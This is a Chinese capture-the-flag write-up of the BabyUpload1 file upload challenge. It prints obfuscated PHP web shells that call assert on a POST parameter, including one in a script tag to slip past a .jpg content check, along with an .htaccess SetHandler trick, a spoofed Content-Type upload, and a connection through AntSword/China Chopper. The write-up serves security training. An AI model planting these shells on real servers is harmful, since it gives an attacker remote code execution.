[GXYCTF2019]BabyUpload1 -- 题目分析与详解
目录
一、题目分析
1、判断题目类型：
2、上传不同类型的文件进行测试：
二、题目详解
1、写出.htaccess文件：
2、.htaccess 文件配合 .jpg 上传：
3、利用 中国蚁剑/中国菜刀 获取flag：
一、题目分析
1、判断题目类型：
打开靶机，进入靶场，页面如图所示：
判断题目类型为：文件上传漏洞类型。
2、上传不同类型的文件进行测试：
（1）首先上传一句话木马 test.php，代码如下：
<?php$a="a"."s";$b="s"."e"."rt";$c=$a.$b;$c($_POST['cmd']);
?>代码中并没有写传统的一句话木马，因为直接写一句话木马需要关闭系统防火墙。
上传后页面如下图：
由此我们得知，文件后缀不可以有ph，那么php3,php5,phtml等后缀自然无法使用了。
（2）将文件后缀改为 jpg，上传后页面如下图：
由此我们得知，后端检测出我们的.jpg文件中含有php代码。
那么我们将.jpg文件中的php代码修改为 javascript 的形式，代码如下：
<script language='php'>$a = "a"."s";$b = "s"."e"."r"."t";$c = $a.$b;$c($_POST["003946ghs"]);
</script>上传文件，返回页面如下：
我们发现上传成功，接下来只需要能够解析.jpg文件中的php代码就OK了。
解析.jpg文件中的php代码，我们可以使用.htaccess文件来进行实现。
二、题目详解
1、写出.htaccess文件：
新建一个名为 .htaccess 文件，并使用 VS / 记事本打开。
写入以下代码：
SetHandler application/x-httpd-php这条命令可以解析所有后缀文件中的 php 代码。
2、.htaccess 文件配合 .jpg 上传：
先上传 .htaccess 文件，响应页面如下：
由此我们得知，后端代码对文件类型--Content-type有限制。
所以我们在上传 .htaccess 文件的同时，利用Burpsuite进行抓包，修改 Content-type为image/jpeg。
抓包界面如下：
发包上传，响应界面如下：
页面提示我们上传成功 (.htaccess successfully uploaded)。
.htaccess 文件上传成功后，我们上传 .jpg 文件，响应界面如下：
页面提示我们也上传成功 (.htaccess successfully uploaded)。
且通过页面回显信息，我们可以拼接出网址，如下：
3、利用 中国蚁剑/中国菜刀 获取flag：
打开蚁剑，添加数据，将我们方才拼接好的网址复制过来，并输入一句话木马连接密码，编码器选择 base64，界面如下：
测试连接，发现连接成功：
添加数据，打开，在根目录下找到flag：
拿到flag值：
提交--正确。